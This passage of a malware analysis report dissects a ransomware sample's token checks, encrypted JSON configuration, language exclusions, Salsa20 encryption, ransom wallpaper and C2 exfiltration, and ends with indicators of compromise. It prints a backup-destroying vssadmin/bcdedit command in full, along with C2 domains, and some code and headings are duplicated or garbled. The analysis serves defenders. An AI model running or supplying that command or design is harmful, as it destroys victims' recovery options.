We then get to the function, renamed GetProcessRun. We can see that it obtains a process handle (GetCurrentProcess), given that there is a compare, before the token, to check if it already has the data it needs from the process and can go to the final part. Otherwise, it opens the process token and obtains the information from the token with GetTokenInformation. It then closes the handle. It carries out all operations correctly, as, when it calls the functions, a 1 is returned. As this is NONZERO, this means that the processes are being opened correctly.

```
loc_402FE0:
call  _GetProcessRun
call  _PrepareCipher
```
We then see that it does the same, but does not check the SID dynamically. In the function, several steps will have been skipped, and it will have reached the end without executing anything else. We can see that it makes use of GetForegroundWindow and ShellExecuteW, which, even dynamically, are not executed at this moment. They will later be used to capture a processes launched by the ransomware and to execute certain commands.

In the following function, it mainly carries out a deobfuscation. It will obtain an explorer.exe, which will be used to check the SID later on, which will carry out the JMP, since, when comparing it with the EAX registry value, it is 3000 not 4000.
As a consequence of this, it skips everything else and goes straight to the XOR, which means, for now, we only have one explorer.exe open, where an ID has been checked.

5.5. TXT and JSON

In the following routine, one of the most important in the execution, we see the following:

```
if ( OpenProcessToken(a1, 8u, &v6) )
{
  if ( GetTokenInformation(v6, TokenIntegrityLevel, &v4, 0x4Cu, (POWORD)&v5) )
  {
    v2 = v6;
    if ( IsValidSid(v4) )
      v6 = v2[(unsigned __int8 )v2 + 1] + 1];
    CIERREHANDLE(v6);
  }
  return v6;
}
```

Figura 5.4.3. Obtaining explorer.exe.

Figura 5.4.3. Skipping to the end of the function

---

5.5. TXT and JSON

In the following routine, one of the most important in the execution, we see the following:

```
PLIT long loc_46825C
lea edx, [ebp+var_40]
lea eax, [ebp+var_41]
push eax
mov edx, eax
call _JsonTxt
jnc short loc_468252
```

Figura 5.5.1: Función _JsonTxt.
Further on, we see that it will obtain relevant information, such as the file extension and the user name.

![Code Example]

The computer name, the domain, the language, which it will check whether it is a language like Russian, which we can see is FALSE, the version of the OS, disk space...

![Sample Strings]

Figure 5.5.2. Deciphering the file extension and username.

Figure 5.5.3. Sample of several deciphered strings.
As a final part of this function, we can see the elements of the whole txt that will be placed in every folder, with the name info.txt and with instructions to recover encrypted files.

![Figure 5.5.4. Txt file.](image)

This ransomware hides encrypted Json content in one of its sections. In this sample, the section is called “.grr”.

![Figure 5.5.5. Contents of the .grr section.](image)

We can see an alphanumeric string in the first 32 bytes, which corresponds to the encryption key.
The following 4 bytes after the key are to check that the contents have not been modified. Then, the following 2 bytes indicate the size of the contents, and the rest are part of the content itself.

```c
int sub_40819D8()
{
    int result; // eax
    int vl; // esi

    if ( sub_404F24(0, &JSON_Content, JSON_Length) != JSON_Check )
        return 0;
    result = sub_408352C(JSON_Length);
    vl = result;
    if ( result )
    {
        sub_4050DA(&JSON_Key, 32, &JSON_Content, JSON_Length, result);
        result = vl;
    }
    return result;
}
```

Figure 5.5.8. Checking the Json parameters.

As you can see, it stores the Json. After obtaining the deciphered contents, we can see that it contains several fields with different values assigned.

Figure 5.5.9. Values assigned to the Json.

These values correspond to the ransomware configuration. In other words, the malware will consult these fields to know what operations it can carry out, what files or directories it should carry out operations on, what processes it can act on...

Figure 5.5.10: Values assigned to the Json.

We can see that in the “nname” field, we have {EXT}.info.txt. {EXT} will be replaced by the random string generated during execution.
Below, you can see a table with the definition of each of the Json fields.

<table>
<thead>
<tr>
<th>Field</th>
<th>Definition</th>
</tr>
</thead>
<tbody>
<tr>
<td>pk</td>
<td>Attacker’s public key, obfuscated in Base64</td>
</tr>
<tr>
<td>pid</td>
<td>Identifier for sending data to C2 servers. Only used if the “net” field is set to “true”.</td>
</tr>
<tr>
<td>sub</td>
<td>Identifier for sending data to C2 servers. Only used if the “net” field is set to “true”.</td>
</tr>
<tr>
<td>dbg</td>
<td>Value used by the malware author. Is referred to when trying to determine if the victim is Russian.</td>
</tr>
<tr>
<td>fast</td>
<td>Value that determines how files bigger than 65535 should be encrypted.</td>
</tr>
<tr>
<td>wipe</td>
<td>Value that determines whether the ransomware should delete directories specified in the “wfld” field.</td>
</tr>
</tbody>
</table>
| wht   | List of values that must not be encrypted.  
  - ext - Extensions  
  - fld - Directories  
  - fls - Files |
| wfld  | Exclusion list for files to delete if the “wipe” field contains the value “true”. |
| prc   | Exclusion list for processes to terminate if they are running. |
| dmn   | List of C2 servers the ransomware can contact. |
| net   | Value that determines if the ransomware should send basic host and malware information to the C2 servers. |
| nbody | Text note obfuscated in Base64, which will be dropped in directories when the files are encrypted. |
| nname | Name of file that will contain the note defined in the field “nbody”. |
| exp   | Value that determines if the ransomware needs to escalate privileges by exploiting the LPE vulnerability. |
| img   | Text obfuscated in Base64 containing the background image that will be set during encryption. |

5.6. List of excluded languages

For the keyboard, we can see that it uses a list of exclusions. It obtains a list with the identifiers for the keyboard layouts using GetKeyboardLayoutList, where it will go through the languages to check that they are allowed. To do this, it carries out a switch with all the languages, which will be used later for the txt.
If one of the list items coincides with one that we can see in the above image, the malware stops executing. This makes those victims with any of the observed keyboard layouts immune to the attack.

5.7. List of processes to terminate

In this case, we see that it takes a “photo” of the processes that are running on the system. It will go through them and compare them with processes specified in the “prc” field on the JSON. If they coincide, they are terminated. In our case, as we have seen in the previous point, we would only have mysql.exe.

```
switch ( m1 )
{
    case 0x18:  Rumano
    case 0x19:  Ruso
    case 0x22:  Ucraniano
    case 0x23:  Bieloruso
    case 0x25:  Estonio
    case 0x26:  Letón
    case 0x27:  Lituano
    case 0x28:  Tajiki Persa
    case 0x29:  Persa
    case 0x2A:  Armenio
    case 0x2C:  Azerbaiyano
    case 0x37:  Georhiano
    case 0x3F:  Kazajo
    case 0x40:  Kirgizs
    case 0x42:  Turcomano
    case 0x43:  Uzbeko
    case 0x44:  Tórtoreo
        result = 1;
    break;
    default:        result = 0;
    break;
}
```

```
switch ( m1 )
{
    case 0x18:  Rumano
    case 0x19:  Ruso
    case 0x22:  Ucraniano
    case 0x23:  Bieloruso
    case 0x25:  Estonio
    case 0x26:  Letón
    case 0x27:  Lituano
    case 0x28:  Tajiki Persa
    case 0x29:  Persa
    case 0x2A:  Armenio
    case 0x2C:  Azerbaiyano
    case 0x37:  Georhiano
    case 0x3F:  Kazajo
    case 0x40:  Kirgizs
    case 0x42:  Turcomano
    case 0x43:  Uzbeko
    case 0x44:  Tórtoreo
        result = 1;
    break;
    default:        result = 0;
    break;
}
```

Figure 5.6.1: Obtaining the exclusion list for languages.
5.8. Deleting ShadowCopies

Having reached this point, it will carry out a function, renamed to _DeleteShadow.

```assembly
loc_402B22:
push    offset sub_402448
push    edi
push    edi
call    _SnapshotBlacklisted
add     esp, 0ch
call    _DeleteShadow
cmp     ds:41C31ch, edi
jz      short loc_402843
```

Figure 5.8.1. Sample of the function renamed _DeleteShadow.

Here you can see how it deobfuscates interesting strings, which it will execute later on.

The most important string, already known in this ransomware family, is vssadmin.exe, which deletes system backups. This way, the victim cannot go back to a previous version of the operating system, and the attacker ensures that they have to pay.

```
"0018FDE0 0018FDFC L" /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures"
```

Figure 5.8.2. Deobfuscating the command to delete ShadowCopies.
We can see that it carries out a GetForegroundWindow. It gives priority to the window that is running at that moment. Having carried out a new OpenProcess in explorer.exe that has enough permissions, it runs ShellExecute as explorer.exe.

```asm
xor  esi, esi
mov  [ebp+var_50], ax
mov  [ebp+var_38], esi
call GetForegroundWindow
```

Figure 5.8.3. Shows the function GetForegroundWindow.

It will then launch the command that we have seen above.

5.9. Emptying folders

This function that goes through the folders on our system, emptying them to later launch the .txt, leaving only encrypted files and a .txt with instructions in the folders. It will then begin encryption. This function goes through the directories and compares them with those specified in the wfld field of the Json. If they coincide, they are deleted.

```asm
call _SnapshotProc
add esp, 0Ch
call _DeleteShadow
cmp ds:41C31Ch, edi
jz short loc_402843
```

5.9.1: Function for emptying folders.
5.10. Encryption

The encryption consists of four parts:

1. Queue with CompletionIOPort
2. Preparation of Keys
3. Encryption of files (Salsa20)
4. Release of file, key written at the end of file and renamed.

5.10.1: Diagram of encryption routine.

This ransomware uses several strings at all times to carry out its tasks, streamlining encryption.

Firstly, before beginning the encryption process, it adds CompletionRoutineStub to the stack, which is the routine containing calls to encryption functions.

```assembly
push ebp
mov ebp, esp
sub esp, 3Ch
lea eax, [ebp+var_C]
push esi
xor esi, esi
push offset CompletionRoutineStub
```

5.10.2: Sample of the function that adds CompletionRoutineStub to the stack.

Once added, a queue structure is created with CreateIOCompletionPort. This queue allows it to manage the file handles that are needed for the encryption. For this it receives the number of strings, the key, and the handle. It then introduces the structure into a string.

```assembly
loc_405803: ; NumberOfConcurrentThreads
push [ebp+NumberOfConcurrentThreads]
push 0 ; CompletionKey
push 0 ; ExistingCompletionPort
push 0FFFFFFFH ; FileHandle
call CreateIoCompletionPort
```

5.10.3: Sample of the function that creates the structure for the IOCompletionPorts.
Once added, it introduces the ransom file data in memory (CreateRescueFile) and the encryption routine (CipherRoutine). It then goes through the disks on the system. This is done with the function renamed EnumeraDisco, until it finds a valid one to begin encryption. This routine will go through the directories and will chose them to leave the ransom txt file in these folders and subfolders.

5.10.4: Sample of the function to enumerate disks and directories.

It generates the encryption extension, which it will use to rename the encrypted files. As you can see, it collects the parameter "**", which means that it will collect all possible files, using the function _FindFile to do this.

5.10.5: Sample of the function to change file extension.
Before encryption, as mention above, it goes though the unit and all directories, copying from the memory all the information that it has already stored in the TXT. It will write it on each of the folders and subfolders.

5.10.6: Sample of writing of encrypted file on execution.

Once it has all the folders with all the txts, it will enter the encryption routine, which contains functions like the one that generates the keys. Before generating the keys, it will check if the file extension is valid for encryption from among those in the Json settings file. Firstly, it will check that the size of the file to encrypt is less than 1048576 bytes.

5.10.7: Sample of the extensions, directories, and files that shouldn’t be encrypted.

5.10.8: Sample of the function to check the file size.
If it is, it creates a file handle indicating the value (48000000h) in the parameter dwDesiredAccess. This value is indicative of two attributes. The first corresponds to FILE_FLAG_OVERLAPPED (0x40000000), which indicates that the file will be treated asynchronously. This way the file buffer will be added to the queue created by the I/OCompletionPorts, where its contents will be encrypted. The second value (0x08000000) corresponds to FILE_FLAG_SEQUENTIAL_SCAN, which indicates the access to the file will be sequential from start to end.

The ransomware will then generate a unique key for each file. The keys are generated using AES and elliptical Curve. It will generate Private/Public keys for both affiliate and developer. It will generate another pair of keys for the user. The user’s private key will be encrypted the affiliate public key with AES. The user’s private key is again encrypted, but this time with the developer’s public key. The user’s private key is deleted from the memory, and the 2 affiliate and developer public keys are saved. The user’s public key will also remain.

When encrypting a file, it will generate another pair of unique keys per file. Of these, only the private key will be used. This key is used to generate a SharedKey using the user public key. It will carry out a SHA3 for the SharedKey and will encrypt the file. It will then save the PubKey of the file and the end when everything is encrypted.

It will then call the CompletionRoutineStub routine that was previously added to the stack. This routine will use the CompletionIOPorts to encrypt by creating different strings, in which each file to be encrypted will be introduced in different threads using a POST method. This means there is a global string where there will be a structure with the file information. Several strings with different file queues to encrypt will be created, meaning that, at all times, we’ll see how files are introduced asynchronously into stings on the one hand, and what they are called, and how they are encrypted and closed on the other hand.

```assembly
CallPostQueuedCompletionStatus proc near
    arg_8= dword ptr 8
    dwNumberOfBytesTransferred= dword ptr 0Ch
    dwCompletionKey= dword ptr 10h
    lpOverlapped= dword ptr 14h

    push   ebp
    mov    ebp, esp
    push   [ebp+lpOverlapped] ; lpOverlapped
    mov    eax, [ebp+arg_8]
    push   [ebp+dwCompletionKey] ; dwCompletionKey
    push   [ebp+dwNumberOfBytesTransferred] ; dwNumberOfBytesTransferred
    push   dword ptr [eax+4] ; CompletionPort
    call   PostQueuedCompletionStatus
```

5.10.9: Sample of the function to execute the encryption function via CompletionIOPorts.
Once it has the file in the queue, it will call it and encrypt it with Salsa20.

```c
v4 = a4;
if ( a4 )
{
  v5 = a3;
  v17 = a3 - (_DWORD)v14;
  v15 = a2 - (_DWORD)v14;
  while ( 1 )
  {
    v6 = 0;
    salsa20_wordtobyte((int *)v14, (const void *)a1);
    v7 = *((_DWORD *)((a1 + 32)++) - 1);
    if ( v7 )
      v7 = *((_DWORD *)((a1 + 36)));
    if ( v4 <= 0x40 )
      break;
    v8 = v15;
    v9 = 0;
    do
      {
        v10 = &v14[v9++];
        v18[v10] = ~v10 ^ v10[v8];
      }
    while ( v9 < 64 );
    v4 -= 64;
    v17 += 64;
    v5 = a3 + 64;
    a2 += 64;
    v15 += 64;
    a3 += 64;
  }
  if ( v4 )
  {
    v11 = a2 - (_DWORD)v14;
    v12 = v5 - (_DWORD)v14;
    v16 = a2 - (_DWORD)v14;
    do
      {
        v13 = &v14[v6++];
        v13[v12] = *v13 ^ v13[v11];
        v11 = v16;
      }
    while ( v6 < v4 );
  }
```

5.10.10: Pseudo-code of the encryption algorithm.

Finally, as we have discussed above, it introduces the file’s PubKey (unique for each file) at the end of all of them. It will release the file and finally modify its extension.
5.11. Bitmap

The function to prepare the bitmap that it sets as the computer’s background creates a compatible bitmap. It is created by choosing sources, pixels etc. It is constructed using a loop, adding characters and the final sentence that will send us to the ransom note.

```c
if ( result ) {
    v2 = CreateCompatibleDC(result);
    v29 = v2;
    if ( v2 ) {
        v3 = GetDeviceCaps(v1, 8);
        v4 = v3;
        v27 = v3;
        v30 = 10;
        v5 = GetDeviceCaps(v1, 10);
        v32 = v5;
        v6 = CreateCompatibleBitmap(v1, v4, v5);
        v38 = v6;
        if ( v6 ) {
            SelectObject(v2, v6);
            v7 = GetDeviceCaps(v1, 99);
            v8 = MulDiv(18, v7, 72);
            v25 = -v8;
            v9 = CreateFontW(-v8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4u, 0, 0, 0);
            v24 = v9;
        }
    }
}
```

Figure 5.11.1. Creation of bitmap.
It will perform a GetObject to obtain the data from the .bmp that has been created, and will place it in the path seen above, creating the object with CreateFileW and WriteFile

```
pop esi
push esi
push [ebp+arg_0]
call GetObjectW
test eax, eax
jz loc_4031B4
```

```
push esi
push dword ptr ss:[ebp-4]
call dword ptr ds:GetObjectW
test eax, eax
jz loc_4031B4
```

```
push 0C0000000h
push eax
push [ebp+arg_8]
call CreateFileW
push edi
mov edi, eax
call WriteFile
cmp edi, 0FFFFFFFH
test eax, eax
jz loc_4031B2
jnz short loc_4031B7
```

```
push edi
push dword ptr ss:[ebp+10]
call dword ptr ds:GetCreateFilesW
```

The end result will be seeing a background like this on our desktop, telling us to read the informative txt that has already been dropped in all possible folders on our computer.

![Your files are encrypted! Open e4c0pbv5o_info.txt!](image)

Figure 5.11.3. Sample of desktop with bitmap.
5.12. Connection to C2 server

Once it has changed the background, it will try to make connections to C2 servers. Its main aim will be to send information about the victim to these servers. We can see that it introduces the addresses of all the servers that we have previously seen on the loaded Json.

```
push    offset sub_492497
push    edi
push    38h
push    dword ptr ds:41C298h
call    _C2Servers
add      esp, 10h
```

Figure 5.12.1. List of C2 servers.

Once inside, it loads the URLs in memory.

```
mov     edx, edi
test     cx, dx
jbe     _payload_dll2_xor_pc_404420
movzx    esi, word ptr ds: [edx]
mov     edi, [esi]
cmp     esi, ebx
je      _payload_dll2_xor_pc_404420
add      edx, 2
movzx    esi, word ptr ds: [edx]
test     esi, dx
jbe     _payload_dll2_xor_pc_404420
xor      esi, esi
cmp     word ptr ds: [edx], esi
ejne    _payload_dll2_xor_pc_404420
add      edx, 2
cmp     word ptr ds: [edx], esi
je      _payload_dll2_xor_pc_404420
```

Figure 5.12.2. List of URLs loaded in memory.

It generates the paths for the URLs using a loop. We’ll see extensions like .jpg or .png, which will be the encrypted information about the victim.

```
est:="mrkluttz.com"
exa:="mrkluttz.com"
est:="mrkluttz.com", exa:="mrkluttz.com"
exa:="https://mrkluttz.com/static/tmp/hyfmg.png"
ecx:="J"d"g"
```

Figure 5.12.3. URLs and information about the encrypted computer.
We then see how it sends the contents of the previously generated .txt and how one of the URLs from the list has been added, which will be the target for sending all the data.

Figure 5.12.4. Relevant information before being sent to the C2 server.
6. Rescate

In order to rescue our files, once we’ve read the note left in one of the files where the ransomware has been, we need to download a TOR browser, introduce the key left in the document, and we’ll be given instruction on how to recover our files. To do this, we have to make a payment in bitcoins or Monero within 7 days.

![Instructions for recovering data.](image)

Figure 6.1: Instructions for recovering data.
7. IOC

· MD5:
  3E974B7347D347AE31C1B11C05A667E2
  B488BDEEAEDA94A273E4746DB0082841
  BED6FC04AEB78581574706239A1F243
  1CE1CA85BFF4517A1EF7E8F9A7C22B16
  1524B237E65D52AA7E2ADD5DBDCC7C05
  A81961697199A3F9524A0F874E281612
  512B538CE2C40112009383AE70331DCF
  E6566F78ABF3075EBEA6FD037803E176

· Ransom file:
  <random_hash>info.txt
  **Example:** zaoi6xao08r.bmp

· Desktop bitmap file:
  <random_hash>.bmp
  **Ejemplo:** zaoi6xao08r.bmp

· Examples of encrypted file extensions:
  *.jpg.<random_hash>
  *.png.<random_hash>
  *.reg.<random_hash>
  *.xml.<random_hash>
  **Example:** álbum.mp3.e4cqobv5o

· Related URLs:
  suitesartemis.gr
  rename.kz
  jefersonalessandro.com
  banukumbak.com
  pourlabretagne.bzh
  azerbaycanas.com
  lesyeuxbleus.net
  brannbornfastigheter.se
  kryddersnapsen.dk
8. References


[2] - “RANSOMWARE CIERRA UNA EMPRESA FABRICANTE DE PIEZAS DE AUTO CON MÁS DE 100 AÑOS DE ANTIGÜEDAD; MÁS DE 4 MIL EMPLEOS PERDIDOS”  https://noticiasseguridad.com/hacking-incidentes/ransomware-cierra-una-empresa-fabricante-de-piezas-de-auto-con-mas-de-100-anos-de-antiguedad-mas-de-4-mil-empleos-perdidos/ Published 1/24/2020


More information:
https://www.pandasecurity.com/business/